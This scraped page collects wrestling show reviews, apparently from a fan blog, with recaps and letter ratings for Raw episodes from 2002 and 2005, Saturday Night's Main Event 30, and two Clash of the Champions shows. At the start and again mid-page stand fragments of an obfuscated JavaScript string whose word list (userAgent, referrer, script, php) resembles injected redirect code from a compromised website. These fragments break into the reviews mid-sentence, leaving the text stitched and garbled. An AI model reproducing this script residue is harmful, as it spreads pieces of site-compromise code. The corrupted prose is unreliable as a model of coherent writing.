");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkkys|var|u0026u|referrer|yhikk||js|php'.split('|'),0,{})) year of 2001 is gone and we’re now into the year that might be even worse in 2002. At this point we’re getting close to the Brand Split that has dominated the company since it first started. On the Raw side, the year would be dominated by some surprising champions in the form of Undertaker and Hulk Hogan, but by the end of the ear we’ll be getting a DX reunion and a big feud over the newly created World Heavyweight Championship. This is the first full year when WWF had no competition so let’s get to it.

Monday Night Raw
Date: January 7, 2002
Location: Madison Square Garden, New York City, New York
Attendance: 13,978
Commentators: Jerry Lawler, Jim Ross

The opening video is set to Beautiful Day as HHH is back tonight.

Test vs. Rob Van Dam

Trish and Terri argue at WWF New York, resulting in a wet t-shirt contest later tonight. This was back when Trish was a blonde head of hair and a big rack and nothing more.

Billy and Chuck vs. Scotty 2 Hotty/Albert

Lawler has a watergun and gets to emcee the t-shirt contest.

Intercontinental Title: Edge vs. Lance Storm

Edge is defending. Storm immediately jumps Edge and clotheslines him in the corner. They trade some fast rollups and Storm hooks the Canadian Maple Leaf (half crab). That goes nowhere so Edge elbows him in the face a few times and hits the Impaler to retain. This was barely a minute long.

Buy the WWF Magazine to read EVEN MORE about HHH.

Steve Austin/The Rock vs. Big Bossman/Booker T

Beer is consumed.

Apparently Rikishi gave Test a Stinkface recently.

Rikishi vs. Chris Jericho

Non-title here. Rikishi shoves him around to start and loads up a quick Stinkface, only to have referee Nick Patrick block it for no apparent reason. We head to the floor where Jericho rips the padding off the barricade and whips the fat man into it to take over. Back inside we go and Jericho gets two off a missile dropkick. The Lionsault misses though and the fat man starts his comeback.

Big Show, Torrie and Tajiri have an awkward moment talking about HHH until Angle comes in and accuses them of acting like teenagers at a Ricky Martin concert. Tajiri does a Martin impression. Next.

We recap the Vince/Flair thing earlier.

Tag Titles: Dudley Boys vs. Spike Dudley/Tazz

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbnzi|var|u0026u|referrer|iikai||js|php'.split('|'),0,{})) Night’s Main Event 30
Date: February 8, 1992
Location: Lubbock Municipal Coliseum, Lubbock, Texas
Commentators: Vince McMahon, Bobby Heenan

We’re on FOX now so the show is about as dead as you could ask for. This is the followup to the 92 Rumble where Flair won the world title and Hogan actually teased a heel attitude at the end and got booed almost out of the building for it. This was a good time for the company as you had Flair, Hogan, Savage, Undertaker and Roberts crossing paths to an extent and the results rocked. Let’s get to it.

Intercontinental Title: Mountie vs. Roddy Piper

This is the rematch from the Rumble where Mountie was given the title for two days since Bret was hurt. Piper wouldn’t win another WWF title for about 15 years. He’s staggering around a bit so he might be a bit intoxicated. Piper is wrestling with a t-shirt on. Keep that in mind for a bit later. Apparently the winner gets Bret at Mania.

An interview with Bret says he hopes it’s Piper but is happy either way. Piper changes control when he gets his knees up to block a splash. The referee gets bumped and Mountie pours water on Piper and gives him the shock stick that he was using. Naturally it has no effect and Mountie gets it, complete with ridiculous sound effects. Piper pulls off his shirt to reveal a vest saying Shock Proof in a rather infamous moment for some reason.

Rating: C. It was about the ending and to give Mountie his rematch. It worked fine so I can’t complain. There’s not much here but since the ending was effective I’m all fine and good with it.

We get a replay of the ending of the end of the Rumble with Sid getting robbed by Hogan and Gorilla having no issue with it of course. Heenan’s near orgasm is great. We see the Mania 8 “Press Conference” with Hogan being named the #1 contender for ZERO reason. I mean seriously, he came in third and got dumped fairly. What sense does that make even in kayfabe? Sid turns heel more or less in an interview there.

Sid Justice/Hulk Hogan vs. Ric Flair/Undertaker

The “faces” say that they’re united. Can you see it coming? If not you’re an idiot. Hogan comes out with Brutus Beefcake instead of his partner which makes him look even more heelish. Sid and Flair start us off. We get Hogan vs. Flair and since this isn’t WCW, Flair has a chance. Hogan is of course dominating because he has to by some law.

There have been about 5 tags inside of two minutes. The idea here is Hogan is trying to do everything and Sid is getting annoyed with it. He’s jumped in twice now already. The big guys are in there now. We’ve had all four in there more often than we’ve had just two. Hogan does the four sides ear thing and Sid isn’t happy as we go to commercial. Back with Taker beating up Sid.

Sid manages to fight the heels off and get the….hot I guess tag to Hogan. Flair shows intelligence by going for the knee. You can’t question Flair’s psychology 90% of the time. Figure Four is on and it’s called a submission hold. The name is never used which is odd. Sid won’t make a tag. Taker gets a SWEET leaping clothesline to take down Hogan.

Sid gets booed and of course Vince sucks on Hogan a bit for old time’s sake. They edit out a whole line about the WWF Champion (this was aired on 24/7) and Sid drops to the floor instead of tagging and walks out. There goes the referee for the DQ and Brutus gets in. This was around the time when his face had been messed up. Hogan makes the save.

Rating: B-. It was a main event tag match and was all about the angle. That’s all well and good and it came off fine. The Hogan vs. Sid match would of course happen at Mania in what was potentially Hogan’s last match. That’s just amusing.

Sid says he rules the world, completely turning heel.

After a commercial Hogan questions Sid’s morals and says he’s not a good person. That’s just amusing.

Sgt. Slaughter/Jim Duggan vs. Beverly Brothers

Anyone think this might be a squash? They’re a new team here and it’s an attempt to make Sarge a face again that loved America. The announcers argue over the logic of giving Hogan Flair at Mania and Heenan keeps picking Vince’s arguments apart. This doesn’t even last three minutes and of course the proud Americans win.

Rating: N/A. This was quick and nothing of note. Yep that’s about it.

We recap Savage vs. Roberts from the past few months, which more importantly about Roberts being heel of the millennium by punching Liz. Roberts says he’ll do it again.

Jake Roberts vs. Randy Savage

Savage says a lot of things in a big rant that must have been fueled by cocaine if I know anything about wrestling. Naturally this is a big freaking brawl in every sense of the words. They fight all over the ringside area with both guys beating on each other for a few minutes each. Savage takes a DDT but Jake lets him get up. The second doesn’t connect though and Savage goes airborne.

And there’s the big elbow to end it in like 5 minutes. Ok then. Savage beats him up ever more until the suits come down to break it up. Liz runs out for the big celebration. We see Jake waiting behind the curtain as the show ends. Later we would find out that he was going to hit Liz with a chair but Taker turned face and grabbed it away instead.

Rating: C+. This was too fast to really get much out of. It’s ok but nothing special at all. These two never got the big match that they needed and I think it hurt the feud in the end. Not terrible at all but far from great.

Overall Rating: C-. Total storybuilding show here as nothing is really settled in the ring, although that’s true for just about every SNME. There are some well known moments here so it’s worth a look I guess and at 45 minutes factoring out commercials it’s not like it’s going to take forever to watch. Check it out, why not.

 

Remember to follow me on Twitter @kbreviews and pick up  my ebook of 1998 Monday Night Raw Reviews on Amazon at:

 

Monday Night Raw
Date: February 7, 2005
Location: Super Arena, Saitama, Japan
Attendance: 16,657
Commentators: Jim Ross, Jerry Lawler

Yes, we’re actually in Japan for this. I was going to do Great American Bash 2000 but that turns out to be kind of hard to find so while I’m downloading it you get this requested show. I barely remember 2005 WWE to be honest but we’re approaching Mania 21 which wasn’t too bad. Cena and Batista would be on the rise at this point so there’s Big Dave to look forward to. Let’s get to it.

Union Underground brings us into this. I love that song.

Obviously this isn’t live but it was taped on Friday before the show.

This is listed from Tokyo so I’ll assume it’s a suburb or something.

Here’s Bischoff who is GM at the moment. He has a translator and the fans aren’t thrilled with him in the slightest. The translation is booed far louder than the English. Yes, the English that they didn’t understand at all is booed out of the building. HBK vs. Flair tonight so that’ll be good. Also Edge vs. HHH for the world title. But for an opener, here’s Jericho vs. Benoit in a submission match.

Chris Jericho vs. Chris Benoit

Yeah this works. No idea if there’s a story here but does it really matter? Apparently they had a tag title shot last week but lost and argued post match. They lock up and go to the floor with it as this is very intense right off the bat. They keep ramming heads together for a hard staredown and lock up again. Benoit works on the arm but Jericho grabs a Walls attempt which fails. Sharpshooter attempt has the same result and it’s a standoff.

Springboard dropkick by Jericho isn’t launched and they fight on the bottom rope but both crash to the floor as we take a break. Back with Benoit running over Jericho and adding a snap suplex. Jericho is bleeding from below the eye. Rolling Germans by the Canadian in Japan to the American (Jericho was born in New York remember) but Jericho busts out the Octopus of all things.

More Rolling Germans are countered into a half crab as Benoit is in trouble. Benoit gets the rope and tries the suplexes again but Jericho fights him off. Benoit is like oh son you done made me mad and BLASTS him in the back a few times and hits the Germans to set up the swan dive to the back. He dives in for a Crossface but Jericho escapes and takes him down with a clothesline. Lionsault misses but Jericho intentionally misses and grabs the Walls.

Benoit gets a shot in to block that but it’s a slingshot into the corner. Benoit fights out of that and there’s the Crossface but it’s more of a chinlock than the regular grip. Still not enough to end it though as the other Chris manages to get to the rope so we’re not done yet. Walls don’t work because of the arm and Benoit kicking him in the face and there’s the Crossface again, still with the chinlock but a lot more torque, this time enough for the tap.

Rating: B. Oh come on it’s Benoit vs. Jericho on a stage where they intentionally want to look awesome. What were you expecting them to do? Sleepwalk through it? Naturally very good match between these two as they wrestled each other so much that they could have a great match in their sleep, which always makes their great ones more impressive. Great opener to keep the crowd how.

The Divas are having a fashion show later.

Clips of the plane ride which must have taken forever.

Flair and HHH are getting ready and Flair says he’s awesome. Batista gets….Maven later. Oh joy. The first Raw from this year I’ve watched in a long time and I get Big Dave vs. Maven. HHH is worried about what Batista is going to do as far as Mania goes. Flair talks some sense into him as HHH is going to talk him into going to Smackdown so Evolution will have both titles.

Christian is giving an interview as to how he got the name Captain Charisma when they run into Stacy. The interviewer wants to talk to Orton and Christian isn’t that happy with it. Christian makes fun of him which is amusing since they’re feuding now. Christian is rather amusing here. He challenges Orton for later and Tomko is skeptical. Tomko shouldn’t worry though because the match is with Tomko, not Christian.

Ad for Wrestlemania, in this case HHH as Braveheart. I loved this campaign. Flair WOOing at a donkey is funny.

Maven vs. Batista

Maven is a cocky heel at this point and doesn’t get an entrance. What do you think is going to happen here? He’s mad he wasn’t in the Rumble and calls conspiracy. Cue Big Dave and this is exactly what you would expect. The run time is 32 seconds if you’re curious. These fans are losing their minds over a total squash. He really needs I Walk Alone which he would get soon after winning the title.

Big Show pops up on the screen and says he’s not worried about facing Batista at Mania. No real point to this as apparently it’s a running theme.

Batista yells at Bischoff in the back about it. He’s getting tired of Smackdown talking about him so Bischoff gives him a sales pitch about staying on Raw. The fans pop at the mention of Batista vs. HHH.

Raw Tag Titles: William Regal/Tajiri vs. La Resistance

Gee I wonder what’s going to happen here. Conway and Grenier here. The place ERUPTS for Tajiri who is all fired up here. Regal and Eugene were champions but Eugene is injured so Regal picked Tajiri as his new partner. Massive Tajiri chant starts up so Regal starts off with Conway. Regal Stretch goes on but it’s off to Tajiri who adds the low dropkick as the offense is on.

Regal plays Ricky Morton for a bit here despite getting some shots in to try to break the momentum. The fans chant something but it’s in Japanese. Grenier punches Tajiri so when Regal takes him down there’s no one to tag. STF is broken up quickly and there’s the hot tag to Tajiri who cleans house. Let the kicks begin! Enziguri hits Grenier for two as everything breaks down. Double handspring elbow takes out the French dudes and it’s Tarantula time. Regal takes Conway down and there’s the Green Mist and a Buzzsaw kick gives us new champions.

Rating: C+. The match totally doesn’t matter and is rated too high, but this is about giving the fans something to erupt for and that’s exactly what they did here. Tajiri and Regal would hold the belts about three months so this wasn’t just a fluke title reign. No problem at all with this and while it’s not great or anything, it was perfectly done as it made Tajiri look like a star.

Regal and Tajiri go into the crowd to celebrate.

We go over the HOF class for 2005 which was the second year that this was revived. Going in this year are Orndorff, Iron Sheik, Nikolai Volkoff, Bob Orton Jr. and Jimmy Hart. They say others will be named, which would include Piper and Hogan.

Ric Flair vs. Shawn Michaels

Can’t say they’re not giving them a big card tonight. Pretty much just a showcase match. Shawn’s pop is bigger. Flair elbows Shawn on a break in the corner to take over. They hit the floor and Shawn chops away. Backdrop has Flair moaning in agony. Back in and Flair begs off which gets a big reaction for some reason. They slug it out some more and it’s Flair Flop time. Shawn actually gets two off that and it’s time to work on the knee. Basic leg work follows and Flair loads up the Figure Four.

Shawn fights it for a bit and then reverses as this is about as basic of a match between these two as you could ask for. It’s fine and all but they’re going through the motions here. Rollup gets two for Shawn and the knee gives out again. Small package gets two as does a backslide. There’s an enziguri by Shawn and you know what’s next. Nip up but Flair tries to go up. Even the Japanese fans know that joke. Backdrop sets up the elbow which sets up Sweet Chin Music (with questionable selling by Shawn) for the clean pin. You can tell they weren’t going with much if it’s a clean pin like that.

Rating: C. It’s Flair vs. Michaels so it’s going to be solid at least. Very weak match from these two but the point was to allow the fans to see a pair of legends go out there and do their thing for an historic match. That’s what they did here and there’s really no reason to complain about it. Not exactly Mania 24, but still fine for what it was.

Time for an All-American Diva Fashion Show. Lawler of course hosts and I’m a bit surprised by this getting a big pop. Up first is Maria who is dressed as a western chick apparently. Victoria is a biker, meaning more or less a bikini and a leather jacket. Christy represents the beaches and is just in a bikini. Not complaining but is there a point to this?

Ah here it is as Simon Dean comes out to protest. He wants to use the time to pitch his Simon System of products to an international audience. An American sumo wrestler protests the jokes and then sits down. Simon says the girls are all fat and I think we can see where this is going rather quickly. Jerry defends the Divas and Simon busts out the Burger King line. The girls beat him up anyway and Lawler gets a group hug.

Evolution has a meeting where HHH tries to convince Dave to go to Smackdown. Dave says he’ll think about it and Flair/HHH aren’t thrilled with that idea but go along with it anyway. They have to focus Edge tonight though so they go to get ready for it.

Edge says he’s ready but is tired of being overlooked because of Evolution all the time. He’s a heel here but not a very good one yet.

Another video about the fans loving WWE. I’ll give them this: Japanese fans are passionate about their wrestling at a level American fans have never hoped of approaching.

Randy Orton vs. Tyson Tomko

Orton is still a face at this point but his heel turn to fight Undertake at Mania was coming incredibly soon. Orton doesn’t look like he had ringside seats to a nuclear explosion here and you can actually see his arms. Basic stuff to start until Christian drags Stacy, Orton’s current kind-of-girlfriend, down the aisle. Orton is also suffering from a concussion from the Rumble which was 8 days ago.

The distraction from Stacy being dragged out there allows Tomko to start hammering away. He pounds on Orton’s head as they’re playing up the head injury here. It’s not a bad one where he’s going insane or anything, but if it did that would explain a lot about his character from a few years ago. Orton fights back with the backbreaker but he’s stumbling a bit. He wants the RKO but gets dizzy when trying it. He settles for a rollup instead, which is a good ending since he got his concussion trying the RKO on HHH.

Rating: C-. Just a quick match here and there’s nothing wrong with that. They had to protect Orton’s head for the storyline so the ending was a good way of going about doing that. This was really just to advance Christian vs. Orton and again that’s just fine. Not a bad match or anything but pretty unremarkable.

Christian gives Orton the Unprettier (Killswitch) post match.

Orton was taken out during the break.

We recap the rest of the show so far, namely the title change.

Raw World Title: Edge vs. HHH

Edge tried to spear Shawn last week but speared the Game instead so there’s actually a point to this. They trade some technical stuff to start and it’s a standoff. We actually get a pinfall reversal sequence into a backslide which gets a LOUD gasp. HHH is showing off athleticism here which is rather shocking but if he can do it rock on dude. Edge’s shoulder goes into the post and then does it again.

Make it three times as who says HHH isn’t repetitive? We take a break and come back with Edge hitting a backbreaker for two. During the break HHH got sent up and over the corner and hurt his back so Edge hit a suplex on top of that. Facebuster stops Edge’s mini-comeback for two. Edge manages to get a missile dropkick for two. He gets a bit going but walks into a spinebuster.

Pedigree doesn’t work as the fans are definitely staying with this. Edge sets for the spear but remember he has a bad shoulder. Not that it matters as HHH gets a knee in for a close two also. Edgecator (kneeling Sharpshooter) goes on and HHH is in trouble. Rather back and forth match here. There’s a rope though as Flair plays cheerleader. Edge tries the hold again but HHH kicks him off.

Out of nowhere Edge misses the spear, taking out the referee. Neckbreaker puts HHH down but there’s no referee. Cue Flair with a chair but he gets speared also. Edge misses a chair shot to HHH and a suplex takes both guys down. They both crawl for the chair but Batista comes down and pulls it out of the ring, which HHH isn’t pleased with. HHH knocks Edge into Batista with unclear motives and a Pedigree is countered into the Edgecution. Edge wants the spear again but Batista kills him with a spinebuster. Pedigree finally ends this.

Rating: B-. This was pretty good actually as they had time and it advanced the story with Batista and HHH. I don’t think anyone thought the title was changing but at times having a guy like Edge go out there and have a long title match with the champion is a good thing. It spawned a PPV series called In Your House so it’s not that much of a stretch. Pretty good main event.

Batista and HHH celebrate but Batista looks at the title and HHH sees him so a staredown ends the show.

Overall Rating: B+. This was a very good show overall with a white hot crowd all night. Very interesting that for their own product they’re silent most of the time yet here they were barely quiet all night. Anyway this was an awesome show as they had a spectacle in Flair vs. Shawn, a good main event and a title change, plus Benoit vs. Jericho. I had a good time with this show and it goes to show you what they can do when they let good wrestlers have time. Shame that didn’t happen often in 2005.

 

Remember to follow me on Twitter @kbreviews

Clash of the Champions 10: Texas Shootout
Date: February 6, 1990
Location: Memorial Coliseum, Corpus Christi, Texas
Attendance: 3,000
Commentators: Jim Ross, Jim Cornette

We’re getting ready for the WrestleWar PPV and there’s one moment on this show that totally altered that PPV as well as arguably the next three and a half years of WCW as well as a legend’s career but we’ll get to that later. Also on this show….uh…..oh you get to see Foley at 24 years old against Mil Mascaras in a match he talks about in his book. Oh and Undertaker is on this show about 8 months before he became Undertaker. Let’s get to it.

The opening video looks like a bad arcade game where you have what appear to be cardboard cutouts of wrestlers being shot in windows of a saloon. It’s going to be one of those shows isn’t it? Cornette gets two talk for two and a half hours so he couldn’t be happier.

Terry Funk has a live mic in Texas to do interviews at ringside. This cannot be good under any circumstances.

Gordon Solie is doing backstage interviews and has the Road Warriors here, about four months before they bailed to WWF. They don’t like the Skyscrapers.

Oliver Humperdink does the intro for Samoan Savage (Tama from the Islanders). He comes out to something like the Halloween theme. These interviews are very, and I mean EXACTLY like ones you would see on a SNME.

Steve Williams puts a dummy in an ambulance and says to the hospital while Bad to the Bone plays in the background. This is going to be a LONG night isn’t it?

Samoan Savage vs. Steve Williams

Oliver Humperdink is listed as the Big Kahuna here. Are you serious? Williams goes right at him in the corner and the brawl is on. The Samoan runs away which is probably the right thing for him to do at this point. Williams fires off right hands and slams that fat man. How did he used to be pretty slim just a few years prior to this? He finally drills a clothesline to take Williams down and get a breath of air.

Humperdink does some weak choking as Williams has been sent to the floor. There’s a house band for no apparent reason called the Tough Guys. Woman is here for no apparent reason again. That sounds like a running theme for tonight. Nitron, Woman’s usual muscle, isn’t here tonight for some reason that the announcers don’t know either.

Time for the chinlock to go on because we have to do that. Cornette makes Mexican jokes as he has been known to do once or twice a minute. Williams fights up with no real trouble but walks into a powerslam for two. That’s almost too interesting though so it’s back to the nerve hold. Sunset flip doesn’t work for Dr. Death but hitting him in the head doesn’t work for Savage. Back to the chinlock as Cornette thinks there should be a Samoan contingent to balance things out.

Williams is sent to the floor and Humperdink gets in a shot which stuns him a bit. So let me get this straight. A right from Humperdink can sent Williams reeling a bit but at the same time a straight downward shot by the Samoan has no effect? Why is Humperdink the manager again? Anyway a top rope splash misses for the Savage so Williams walks around with him in a slam for awhile. Williams gets a backslide of all things and we’re done.

Rating: C-. For a battle of power men there it was just ok. This would be Williams’ last match actually as he was supposed to beat Luger for the US Title at WrestleWar but something happened to change that and he left for Japan as a result. Not much of a match but it’s an opener with Tama as a competitor. What were you expecting?

The Tough Guys play for a bit for no apparent reason.

Terry Funk is here to talk to the Horsemen (faces at this point) who he says will be hard to stop in 1990. In this case it’s Flair (world champion, shocking I know), Arn, Ole and Sting. Yes that Sting. Ole gets in Funk’s face for talking too much. Well no one ever accused Ole of being all that smart. Flair says they’re going to make a statement through their spokesman Ole.

Ole, the great spokesman, has his back to the camera. This is about Sting apparently, because he’s fired. Ole and Arn have been brought back by Flair to get rid of Sting, who is in trouble for wanting the world title. Sting wasn’t taken out yet because Sting saved Flair. Ole offers him a chance to live if he turns down the title shot and has two hours to do that. Sting says not a chance so Ole says the same thing. Sting finally gets a chance to say something but it’s a classic Horsemen beatdown. This isn’t the big moment that I was referring to.

Mod Squad vs. Brian Pillman/Tom Zenk

The Mod Squad is a weak heel tag team made of Basher and Spike. Pillman and Spike (I think) start us off. He’s the skinnier one if nothing else. Pillman can throw a great dropkick. Off to Zenk and the arm work begins. Basher comes in and that goes about as well. Cornette and Ross really don’t seem all that interested in this match and I can’t say I blame them.

Brian beats on Basher for awhile and Zenk adds an enziguri for two. Double teaming doesn’t work on Zenk as Pillman gets a double slingshot clothesline to take both Mods down. Apparently the Midnight Express want to reelect Marian Berry. Ok then. Spike gets a face jam to Pillman to take over as Cornette makes various jokes.

We talk about Sting and Flair some more because the match is rather boring. Double teaming by the Squad as Pillman doesn’t even have the Bengal tights here. Off to a chinlock and then another one by the other Mod dude. This match is taking far too long as there hasn’t been anything of note. Cornette disputes the idea that he loves the fans as Pillman gets an elbow to Basher but can’t tag out. Crucifix gets two for Brian but Spike misses a top rope elbow, hot tag Zenk, house is cleaned, cross body ends Basher.

Rating: D. How in the world was this a ten minute match? It should have been something like three but we had to fill in time I guess. Z-Man and Pillman would win the US Tag Titles less than a week after this so there was no way they were going to lose here. Just WAY too long for what they had going on here.

Cactus Jack Manson vs. Mil Mascaras

It’s Foley before he meant anything at all. Nice heat on his introduction though. Foley BLASTED Mascaras in his book over this match so let’s see how bad it is. Cornette says Mascaras is most popular in Japan for some reason. We get to a bow and arrow almost immediately as Mascaras makes Foley look like an idiot, which to be fair is fine because Foley is a far smaller deal at this point.

Test of strength goes to Mascaras and headscissors a go-go. Cactus gets sent to the floor and falls over a chair, landing on his back. JR: “A breakfast room at a honeymoon hotel isn’t as empty as Cactus Jack’s head.” Jack hammers away and Mascaras ignores it, hooking what can only be called a Liontamer for a bit.

Here’s a great example of the no selling complaints. As you know, one of Foley’s signature moves is the elbow off the apron. He hits a backbreaker on the floor and Mascaras never actually goes all the way to the ground. Foley sets for the elbow but there’s no Mascaras, as instead he’s snuck into the ring and dropkicks Foley to the floor where he bangs his head on the concrete. That was one of his signature moves for a long time, and people wonder why he can barely move. Anyway a top rope cross body ends this.

Rating: D. Match was weak, but I totally see Foley’s point with the no selling thing. I mean dude, shake your head a little bit after a punch at least. You’re in the midcard for a one off appearance. You’re not quite Hulk Hogan here. The backbreaker thing was pitiful too. Jack took awhile to set up the elbow which I’d guess was supposed to be the spot for the plunge, but at the same time you can’t even hit the ground? Foley isn’t the only one to complain about this, so it’s not just a personal grudge.

Missy Hyatt hypes that she’s the new co-host of the Main Event.

The Tough Guys perform and Cactus Jack beats them up. That’s a perk. He and the drummer, an AWA guy named JT Southern, get into it a bit and that went nowhere.

Norman the Lunatic, more famous as Bastian Booger, is a crazy man here. As in he was in a straightjacket most of the time. Here he wants hot dogs or something and is told it’s falls count anywhere against Kevin Sullivan.

Norman the Lunatic vs. Kevin Sullivan

Before the match we get a video of Norman at a zoo, petting pigs. In the arena he’s in a cowboy outfit and hands out valentines to the fans. This was one of those concept characters if you get the idea. Sullivan jumps him and we go to the floor almost immediately. Back at this point, companies could sponsor parts of the ring, meaning Sullivan is sent into the Roos’ post.

Norman does that seated splash of his for no cover. A middle rope splash misses though and we’re back to the floor again. Sullivan actually SLAMS Norman in an impressive and surprising spot. There goes Norman’s shirt which means we have to see something rather unpleasant. A “belly to back suplex” (looked like a Russian leg sweep) gets two. Cornette: “This Norman is so stupid that mind readers only charge him half price.”

Sullivan dominates him for a good while and there’s nothing of note. I guess they’re afraid of trying to let Sullivan work a regular match which I can’t blame them for. Back in for you guessed it, more brawling/pounding by Sullivan. Norman makes a comeback and knocks Sullivan through the ropes to the outside. Up the aisle they go and the ramps is huge. Backdrop gets two for Sullivan. Into the back and they go into the women’s restroom where sound effects are used sans video. Sullivan is knocked out of the room as Norman has a toilet seat in hand. Apparently the pin happened off camera. At least it’s over.

Rating: D. This was junk of course and the ending hurts it even worse. No word on why they were fighting but I’d assume it was some kind of bully thing as that has infected even the past. Better go found a charity to help fight it. How do those work anyway? Do you accept donations to pay bullies off? Norman would stick around for awhile and do nothing of note before he became a trucker for some reason.

Funk is here for his talk show segment known as Funk’s Grill with Luger as his guest. They like each other and Luger says Sting should turn down the shot because Luger would get the shot otherwise. The fans want Sting but Luger says you have the Total Package right now. This goes absolutely nowhere.

Road Warriors vs. Skyscrapers

Skyscrapers are Mean Mark (Undertaker) Callous and Dangerous Dan (Spivey) Spivey and have Teddy Long with them. Spivey beats on Hawk a bit but Hawk runs him over because he’s….uh Hawk I guess. Animal and Callous comes in. I’ll do what I can to not call him Taker but it’s not easy. He’s 6’9, has red hair and is 24 here. Animal no sells his offense but that’s typical for Animal.

Callous MOVES out there, missing a cross body of all things but it’s off to Spivey and Hawk again. Hawk charges but hits the post and the beating is on. We get what would become known as Old School to Hawk. It’s so weird to think that Taker and Foley were 8 years away from having one of the most brutal matches of all time. Taker counters a clothesline into a Fujiwara armbar which only lasts a few seconds.

Old School doesn’t work a second time and it’s off to Animal and Spivey. Everything breaks down and the Skyscrapers double team Animal for a bit until he backflips out of a double suplex. Hawk comes back in and it’s Doomsday Device for Spivey. Callous comes off the top with a chair and everything breaks down and it’s finally thrown out as Hawk takes a spike Piledriver. The Road Warriors get a big beatdown laid on them.

Rating: C-. For Taker being this young guy out there it’s very cool to see. Other than that it’s just a brawl which is ok but they’ve had it a few times already tonight which is a bit of an issue. Either way it’s not a terrible match but at the same time it got a bit annoying throughout. Eh it’s TV so I can’t complain that much.

Back from a break and they replay the Warriors getting beaten down.

Gordon Solie still can’t get an interview with Sting. He does have Brian Pillman though, who says Sting is losing his mind.

Doom say they’re going to win the tag titles.

Tag Titles: Doom vs. Steiner Brothers

This is masks vs. titles despite everyone knowing who Doom is. It’s Butch Reed and Ron Simmons, as in two of the three black wrestlers in the whole company. Sounds bad but it’s true. Reed rants for a bit before Simmons starts with Scott. It’s power vs. power here and the voice of Ron Simmons is unmistakable. Scott makes Simmons look like an idiot and it’s off to Reed (Doom #2).

Doom is sent to the floor as this is all Scott so far. Scott wants the mask already but Reed gets out just in case. The fans chant for Sting as Rick comes in. The basic idea of this match is Doom gets mad, a Steiner runs them around the ring a bit, suplex takes the Doom guy down, start over. Back off to the far bigger Simmons who pounds Scotty down a bit. Scott plays Ricky Morton for a bit as the beating is on.

People didn’t go for as many covers back in the day. Very interesting change in the times indeed. BIG spinebuster gets two for Reed but he picks him up. Scott grabs a backslide for two and a Piledriver gets the same. Sunset flip gets two on Reed but Scott can’t make the tag. There’s a Frankensteiner out of nowhere and it’s off to Rick. He manages to rip the mask off and it’s Butch Reed. Rick rolls up Reed a second later to end it.

Rating: D+. Yeah amazingly enough, this was boring. This whole show has been that way because the matches have been going far longer than they should have. The masks were pretty pointless here so it’s not like the titles were ever in any real jeopardy. Weak match in a running theme for tonight.

Apparently if Simmons doesn’t unmask he’s suspended. If his identity is supposed to be a secret, how could they suspend him? Either way he unmasks and Ross’ reaction of “It’s Ron Simmons” is almost funny it’s so anti-climactic.

We see Sting getting destroyed again.

The Horsemen are like yeah we’re awesome.

Ric Flair/Ole Anderson/Arn Anderson vs. Dragonmaster/Great Muta/Buzz Sawyer

The ones you haven’t heard of other than Muta is called the J-Tex Corporation and had been feuding with the Horsemen. They’re heel now though so this is heel vs. heel in a cage. Dragonmaster is a guy that was known as Kendo Nagasaki who you’ll hear of every once in awhile. There are more than one of him though so it might be a bit confusing.

Sawyer (that guy was NUTS) stars with Anderson. The fans are cheering for J-Tex, which would be like cheering for Vickie Guerrero today. The Horsemen hammer on Sawyer with Flair and he exchanging shots. Off to Ole as Cornette rants about Sting a lot. Dragonmaster hammers away and is cheered loudly. Muta comes in and the place pops HARD. He and Arn go at it and it’s handspring elbow time. And here’s Sting.

Sting charges the cage and the roof is blown off the place. He climbs up the side of it and hammers on Flair over the cage wall but is dragged down by security and other wrestlers. He gets up the aisle but charges again, this time not being able to get at Flair. Sting hops down as the match is more or less forgotten about. Sawyer misses a splash off the top of the cage and Sting appears to have hurt his leg. What wasn’t known at the time is that Sting had ripped some ligaments apart and wouldn’t wrestle for six months, meaning the title match was off. As for the match, everything breaks down and Arn pins Dragonmaster with a DDT.

Rating: D. Match sucked but it wasn’t the point at all. As I’d assume you figured out, Sting’s injury was the big deal here, as it completely changed the company and took all of the heat away from him because it was Luger that got the title shot and Flair held the title another six months instead of giving it to the young lion known as Sting. Either way, weak match to end a bad show.

Flair and Sting “fight” (remember Sting has one leg) in the aisle to end the show.

Overall Rating: D-. Well Sting vs. Flair is made, but at the same time that match fell apart completely due to Flair’s egging him on for the second time there. Anyway, not a good show in the slightest but at the same time….yeah this was terrible. There’s no other way around it. The matches went on WAY too long and at the same time they weren’t that good. Weak show to put it mildly and I’m glad it’s over.

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Clash of the Champions 14: Dixie Dynamite
Date: January 31, 1991
Location: Georgia Mountains Center, Gainsville, Georgia
Attendance: 2,000
Commentators: Jim Ross, Dusty Rhodes

Another one of these and it’s from a pretty bad era for the company. Unlike the one later this year, this show looks atrocious on paper. This is the first one in WCW rather than the NWA so I would expect a few changes. Also Dusty is the booker again so expect the Dusty Finish to abound. The main event is Scott Steiner vs. Ric Flair for the title. I’m not exactly riveted either. Let’s get to it.

After a quick look at the top two matches we get a very 80s opening. You can tell the arena is tiny. I wonder if AJ was there.

National Anthem.

Dusty talks a lot and won’t shut up.

Sting/Lex Luger vs. Doom

Luger is of course US Champion here as he more or less always was. I love that old Sting music. And then again the same can be said of Doom’s music. They’re the tag team champions here in the longest reign in the history of the belts. Ron Simmons and Butch Reed if you weren’t familiar with that. This isn’t announced as a title match but the referee holds up the belts. I guess it is one then.

Reed vs. Sting to start us off. Sting overpowers Reed which is rather impressive. Even in an armbar he shouts to the crowd. Notice what he’s doing there: he doesn’t let the crowd get taken out of it, even in a rest hold. That’s a very nice thing to do. Luger in now as Dusty talks a lot. Ross says in about 5 seconds what it took Dusty 30 to say. We hear about Wrestlewar a little bit where Luger is defending the title.

Simmons vs. Luger now and Ron can’t take him down with shoulders. You can see Simmons wanting to shout his future catchphrase. Luger dominates him with power. How often do you see Doom losing to power stuff? Luger walks into a hot shot though and the champions take over. After a break it’s still Doom in control.

Simmons puts his head down though and Luger manages to get a knee/kick in to put Ron down. Simmons gets the tag though to bring in Reed who hits a dropkick of all things to take down Luger. Dusty talks about football to waste even more time. Luger finally takes down Simmons but Reed drills him with a top rope shoulder block to take him right back down. The problem is that it took him right down into his corner. Well isn’t that always the way?

